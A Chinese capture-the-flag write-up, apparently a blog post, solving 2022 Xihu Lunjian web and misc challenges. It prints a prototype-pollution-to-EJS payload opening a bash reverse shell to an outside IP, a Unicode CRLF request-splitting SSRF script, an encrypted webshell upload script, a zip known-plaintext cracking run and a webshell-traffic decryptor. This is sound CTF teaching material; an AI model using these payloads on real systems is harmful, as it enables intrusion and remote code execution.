2022西湖论剑 部分wp

web

扭转乾坤

在实际产品场景中常见存在多种中间件的情况,这时如果存在某种拦截,可以利用框架或者中间件对于RFC标准中实现差异进行绕过。注意查看80端口服务

image-20230202201658028

想先上传试试

image-20230202202643390

Content-Type不能是 multipart/form-data

image-20230202202725925

这随便删了个字符就给了flag

看师傅们都大写绕过,加空格绕过

Node Magical Login

一个简单的用nodejs写的登录站点(貌似暗藏玄机)

image-20230202202937642

给了源码

function LoginController(req,res) {
    try {
        const username = req.body.username
        const password = req.body.password
        if (username !== "admin" || password !== Math.random().toString()) {
            res.status(401).type("text/html").send("Login Failed")
        } else {
            res.cookie("user",SECRET_COOKIE)
            res.redirect("/flag1")
        }
    } catch (__) {}
}

/flag1的逻辑是要登录admin用户,但是密码是随机数肯定不能正常登录

function Flag1Controller(req,res){
    try {
        if(req.cookies.user === SECRET_COOKIE){
            res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
            res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
            res.status(200).type("text/html").send("Login success. Welcome,admin!")
        }
        if(req.cookies.user === "admin") {
            res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
            res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
        }else{
            res.status(401).type("text/html").send("Unauthorized")
        }
    }catch (__) {}
}

往后看发现输出flag1 要满足cookies.user === "admin"

image-20230202205759280

构造user=admin

image-20230202210319234
function CheckController(req,res) {
    let checkcode = req.body.checkcode?req.body.checkcode:1234;
    console.log(req.body)
    if(checkcode.length === 16){
        try{
            checkcode = checkcode.toLowerCase()
            if(checkcode !== "aGr5AtSp55dRacer"){
                res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
            }
        }catch (__) {}
        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
    }else{
        res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
    }
}

想要输出flag2,要满足checkcode在经过toLowerCase()转小写后 还是等于aGr5AtSp55dRacer

app.post("/getflag2",(req,res)=> {
    controller.CheckController(req,res)
})

/getflag2是调用的路由

image-20230202221444979

现在目的就是要绕过toLowerCase()并且保持长度为16,

这个方法是把字符串转换为小写,

看学长的思路,用json形式传入数组可以绕过

{"checkcode":["aGr5AtSp55dRacer",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}

real_ez_node

此题类似[GYCTF2020]Node Game-nodejs

源码拿到 index.js

先看/copy路由

router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

要求地址127.0.0.1访问 (req.connection.remoteAddress不能通过请求头来伪造的。可以考虑用SSRF来绕过)

然后定义了user对象,并且禁掉了__proto__,可以使用constructor.prototype绕过,因为constructor.prototype也可以操作原型链 。

然后是safeobj.expand()调用了user对象,考虑safe-obj原型链污染,网上搜到CVE-2021-25928

测试一下poc:

var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj. expand (obj,'__proto__.polluted','Yes! Its Polluted');
console.log("After : " + {}.polluted);

发现确实可以

image-20230204175214885

然后题目源码app.js里也有说使用ejs模板

那么可以原型链污染+ejs RCE

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4444 0>&1\"');var __tmp2"}}

constructor.prototype替代__proto__

{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/xxx/4444 0>&1\\"');var __tmp2"}

现在看/curl路由

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];
                  
                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {
                      error = new Error('Request Failed.\n' +
                                        `Status Code: ${statusCode}`);
                    }
                    if (error) {
                      console.error(error.message);
                      // 消费响应数据以释放内存
                      res1.resume();
                      return;
                    }
                  
                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => { rawData += chunk;
                    res.end('request success') });
                    res1.on('end', () => {
                      try {
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData+'');
                      } catch (e) {
                        res.end(e.message+'');
                      }
                    });
                  }).on('error', (e) => {
                    res.end(`Got error: ${e.message}`);
                  })
                res.end('ok');
            } catch (error) {
                res.end(error+'');
            }
    } else {
        res.send("search param 'q' missing!");
    }
})

http.get()请求了http://localhost:3000/并传递参数q 存在

现在如何满足/copy路由下的ip为127.0.0.1呢? 利用CRLF+SSRF

参考此文https://xz.aliyun.com/t/9707#toc-11

Unicode 字符损坏造成的 HTTP 拆分攻击

exp:

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Connection: close

{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/47.100.196.3/4444 0>&1\\"');var __tmp2"}

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret

payload = payload_encode(payload)
print(payload)

#拿到payload:ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįţůŰŹĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıĺijİİİčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠıĸİčĊŃšţŨťĭŃůŮŴŲůŬĺĠŭšŸĭšŧťĽİčĊŕŰŧŲšŤťĭʼnŮųťţŵŲťĭŒťűŵťųŴųĺĠıčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįŪųůŮčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįıİĹĮİĮİĮİĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹĬťŮĻűĽİĮĸĬŲŵĻűĽİĮķĬŪšĻűĽİĮĶčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊŻĢţůŮųŴŲŵţŴůŲĮŰŲůŴůŴŹŰťĮůŵŴŰŵŴņŵŮţŴũůŮŎšŭťĢĺĠĢşŴŭŰıĻŧŬůŢšŬĮŰŲůţťųųĮŭšũŮōůŤŵŬťĮŲťűŵũŲťĨħţŨũŬŤşŰŲůţťųųħĩĮťŸťţĨħŢšųŨĠĭţĠŜĢŢšųŨĠĭũĠľĦĠįŤťŶįŴţŰįĴķĮıİİĮıĹĶĮijįĴĴĴĴĠİľĦıŜĢħĩĻŶšŲĠşşŴŭŰIJĢŽčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ

payload进行url编码传入q参数

image-20230204185301694

image-20230204185249159

unusual php

<?php
if($_GET["a"]=="upload"){
    move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]);
}elseif ($_GET["a"]=="read") {
    echo file_get_contents($_GET["file"]);
}elseif ($_GET["a"]=="version") {
    phpinfo();
}

image-20230205011459398

尝试读index.php,是乱码,是对php源码进行了加密

还可以看phpInfo()

到这里就不知道如何走了,看师傅们是去在phpinfo里找到 zend_test.so

总之php文件被加密了,寻找加密猜测应该是有依赖,思路可以是读 /proc/self/maps

读取 /proc/self/maps 查看当前进程的内存映射关系,发现加载了一个名为zend_test的扩展

image-20230205021347385

拿到文件路径/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so

然后读取,通过php:filter 进行base64加密一下 防止丢字符

/?a=read&file=php://filter/convert.base64-encode/resource=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so

image-20230205122100694

保存出来用IDA分析 (注意保存完整)

有个 rce_set_key函数

image-20230205134513970

jump 到引用它的地方

image-20230205134928558

F5反编译

image-20230205133812516

逆向分析出来存在 RC4 密钥 abcsdfadfjiweur

这样我们可以加密php文件,进行上传,这样后台应该会顺利解析执行

可以用CyberChef来加密

加密一个shell

image-20230205024416663

为了防止字符短缺,还是base64一下,上传文件时候base64解码一下

import base64
import requests

url = 'http://80.endpoint-e3b2218dc1d446008a7cacc77c3d9bee.ins.cloud.dasctf.com:81/?a=upload'

shell = '473xeG4d3kJANayE56+fzrJLaDo2vtMx'
files = {'file': ("shell.php", base64.b64decode(shell))}

response = requests.post(url, files=files)
print(response.text)

上传shell成功执行

image-20230205025022898

复现环境是有回显且直接cat到了flag

不涉及提权,原题可以用sudo 提权

image-20230205032311667

misc

签到

image-20230205131933447

jpg文件,FF D9就是文件尾了

后面的一堆字符是有问题的,还有2023 和 flag的字样

编码的问题 ,16进制转中文字符,cyberchef直接转

image-20230205132424284

mp3

mp3 foremost 出png

png 继续 zsteg

提取出zip

image-20230204193839733

是个真加密

mp3预览的图片就是那个png

image-20230204193956115

像素转01后提取出了个zip,但是与上面lsb提取的是一样的。

from PIL import Image

image = Image.open('hb.png')
res = ''
for y in range(53):
   for x in range(64):
      pixel = image.getpixel((x,y))
      if pixel == 255:
         res+='1'
      else:
         res+='0'
print(res)

压缩包密码大概率就是MP3Stego提取的东西

MP3Stego 是空密码(比赛时候没试出来。。)

这个工具还一定要进这个MP3Stego目录下,使用里面的Decode.exe

image-20230204193722302

空密码跑出来了 ,里面就是压缩包密码 8750d5109208213f

image-20230204193750506

rot47 jsfuck

take_the_zip_easy

爆破无果

image-20230205124950694

根据文件名,猜测dasflow.zip里面也是dasflow.pacpng

用bkcrack明文攻击 ,1.txt 里面是 dasflow.pcapng ,加上zip默认头504B0304

./bkcrack.exe -C zipeasy.zip -c dasflow.zip -p 1.txt -o 30 -x 0 504B0304 >1.log

image-20230205132607529

image-20230205132554662

跑出keys 2b7d78f3 0ebcabad a069728c

./bkcrack.exe -C zipeasy.zip -c dasflow.zip -k 2b7d78f3 0ebcabad a069728c -d dasflow.zip

成功解压,拿到流量包

在第6个流里看到

image-20230205135301066

哥斯拉流量加密,air123是密码

哥斯拉还原加密流量

解密脚本

<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
echo gzdecode(encode(base64_decode('xxx'),$key));

往下翻,很多加密的流量

流37看到了上传了一个flag.zip

image-20230205141522693

提取出来,直接foremost也是可以

image-20230205141718949

上传zip之前可能就是生成zip的流量,看流36 也是有加密流量

image-20230205141927315

用上面的解密脚本跑这段加密流量 ,先url解码一下

J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3
<?php
function encode($D, $K)
{
    for ($i = 0; $i < strlen($D); $i++) {
        $c = $K[$i + 1 & 15];
        $D[$i] = $D[$i] ^ $c;
    }
    return $D;
}

$pass = 'air123';
$payloadName = 'payload';
$key = 'd8ea7326e6ec5916';

echo gzdecode(encode(base64_decode('J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3'), $key));

跑出来生成zip的命令如下

cmdLineP   sh -c "cd "/var/www/html/upload/";zip -o flag.zip /flag -P airDAS1231qaSW@" 2>&1methodName   execCommand

所以zip密码是airDAS1231qaSW@

image-20230205143405990

机你太美

坤坤的手机里面,隐藏着什么秘密呢

npbk是夜神模拟器的备份文件,

用7zip 可以打开 备份文件 拿到镜像文件

(赛题附件当时打开是img,后来换附件也没注意。。)

image-20230205143838600

附件更新后7zip打开就拿到vmdk镜像文件了

image-20230205143728045

手机大师没打开

用取证大师打开

image-20230205145917807

有很多加密的zip,里面的文件是flag

图片呢就拿出这两张比较特殊的jpg和png

image-20230205175650457

image-20230205175714712

png在 alpha2通道有东西

image-20230205181448893

提取出来,黑白像素转01二进制,注意要竖着跑 ,像素太多,我将结果保存到文件里

from PIL import Image

image = Image.open('1.png')
res = ''
for y in range(1532):
   for x in range(961):
      pixel = image.getpixel((y,x))
#       print(pixel)
      if pixel[2] == 255:
         res+='1'
      else:
         res+='0'
f = open('res.txt','w')
f.write(res)

然后找到这一段有0的字符串,注意开头结尾是0还是1

image-20230205183939247

image-20230205184408254

e01544a9333ef62a3aa27357eb52ea8a拿去解压50.zip ,因为这个与其他文件长度不一样

image-20230205184650239

image-20230205184816781

flag还是加密的

回到那个jpg文件,exif跑了一下

image-20230205181043687

有个信息 是 XOR DASCTF2022 , 异或同样也能用cyber

image-20230205185238365

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值